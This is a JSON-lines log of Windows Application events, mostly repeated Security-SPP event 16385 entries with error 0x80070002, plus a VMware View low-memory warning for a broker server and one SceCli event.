{"@timestamp":1659031320498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173027}}
{"@timestamp":1659031350504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173028}}
{"@timestamp":1659031380510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173029}}
{"@timestamp":1659031410517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173030}}
{"@timestamp":1659031440522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173031}}
{"@timestamp":1659031470528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173032}}
{"@timestamp":1659031500533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173033}}
{"@timestamp":1659031530089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Jul 28 20:05:30 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":173034}}
{"@timestamp":1659031530540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173035}}
{"@timestamp":1659031560547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173036}}
{"@timestamp":1659031590553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173037}}
{"@timestamp":1659031620560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173038}}
{"@timestamp":1659031650567,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173039}}
{"@timestamp":1659031680572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173040}}
{"@timestamp":1659031710579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173041}}
{"@timestamp":1659031740587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173042}}
{"@timestamp":1659031770593,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173043}}
{"@timestamp":1659031800600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173044}}
{"@timestamp":1659031830607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173045}}
{"@timestamp":1659031860613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173046}}
{"@timestamp":1659031890620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173047}}
{"@timestamp":1659031920626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173048}}
{"@timestamp":1659031950634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173049}}
{"@timestamp":1659031980641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173050}}
{"@timestamp":1659032010647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173051}}
{"@timestamp":1659032040655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173052}}
{"@timestamp":1659032070662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173053}}
{"@timestamp":1659032100669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173054}}
{"@timestamp":1659032130675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173055}}
{"@timestamp":1659032160681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173056}}
{"@timestamp":1659032190688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173057}}
{"@timestamp":1659032220695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173058}}
{"@timestamp":1659032250701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173059}}
{"@timestamp":1659032280708,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173060}}
{"@timestamp":1659032310714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173061}}
{"@timestamp":1659032340722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173062}}
{"@timestamp":1659032370728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173063}}
{"@timestamp":1659032400735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173064}}
{"@timestamp":1659032430743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173065}}
{"@timestamp":1659032460749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173066}}
{"@timestamp":1659032490755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173067}}
{"@timestamp":1659032520761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173068}}
{"@timestamp":1659032550768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173069}}
{"@timestamp":1659032580774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173070}}
{"@timestamp":1659032610780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173071}}
{"@timestamp":1659032640786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173072}}
{"@timestamp":1659032670792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173073}}
{"@timestamp":1659032700798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173074}}
{"@timestamp":1659032730805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173075}}
{"@timestamp":1659032760810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173076}}
{"@timestamp":1659032790817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173077}}
{"@timestamp":1659032820823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173078}}
{"@timestamp":1659032850831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173079}}
{"@timestamp":1659032880837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173080}}
{"@timestamp":1659032910844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173081}}
{"@timestamp":1659032940850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173082}}
{"@timestamp":1659032970856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173083}}
{"@timestamp":1659033000862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173084}}
{"@timestamp":1659033030868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173085}}
{"@timestamp":1659033060874,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173086}}
{"@timestamp":1659033090880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173087}}
{"@timestamp":1659033120887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173088}}
{"@timestamp":1659033150894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173089}}
{"@timestamp":1659033180900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173090}}
{"@timestamp":1659033210907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173091}}
{"@timestamp":1659033240913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173092}}
{"@timestamp":1659033270920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173093}}
{"@timestamp":1659033300927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173094}}
{"@timestamp":1659033330933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173095}}
{"@timestamp":1659033360939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173096}}
{"@timestamp":1659033390947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173097}}
{"@timestamp":1659033420953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173098}}
{"@timestamp":1659033450960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173099}}
{"@timestamp":1659033480967,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173100}}
{"@timestamp":1659033510973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173101}}
{"@timestamp":1659033521969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":173102}}
{"@timestamp":1659033540980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173103}}
{"@timestamp":1659033570986,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173104}}
{"@timestamp":1659033600992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173105}}
{"@timestamp":1659033630999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173106}}
{"@timestamp":1659033661004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173107}}
{"@timestamp":1659033691011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173108}}
{"@timestamp":1659033721019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173109}}
{"@timestamp":1659033751026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173110}}
{"@timestamp":1659033781032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173111}}
{"@timestamp":1659033811038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173112}}
{"@timestamp":1659033841045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173113}}
{"@timestamp":1659033871051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173114}}
{"@timestamp":1659033901059,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173115}}
{"@timestamp":1659033931065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173116}}
{"@timestamp":1659033961074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173117}}
{"@timestamp":1659033991080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173118}}
{"@timestamp":1659034021086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173119}}
{"@timestamp":1659034051093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173120}}
{"@timestamp":1659034081099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173121}}
{"@timestamp":1659034111106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173122}}
{"@timestamp":1659034141112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173123}}
{"@timestamp":1659034171119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173124}}
{"@timestamp":1659034201125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173125}}
{"@timestamp":1659034231132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173126}}
{"@timestamp":1659034261138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173127}}
{"@timestamp":1659034291146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173128}}
{"@timestamp":1659034321153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173129}}
{"@timestamp":1659034351159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173130}}
{"@timestamp":1659034381166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173131}}
{"@timestamp":1659034411172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173132}}
{"@timestamp":1659034441178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173133}}
{"@timestamp":1659034471185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173134}}
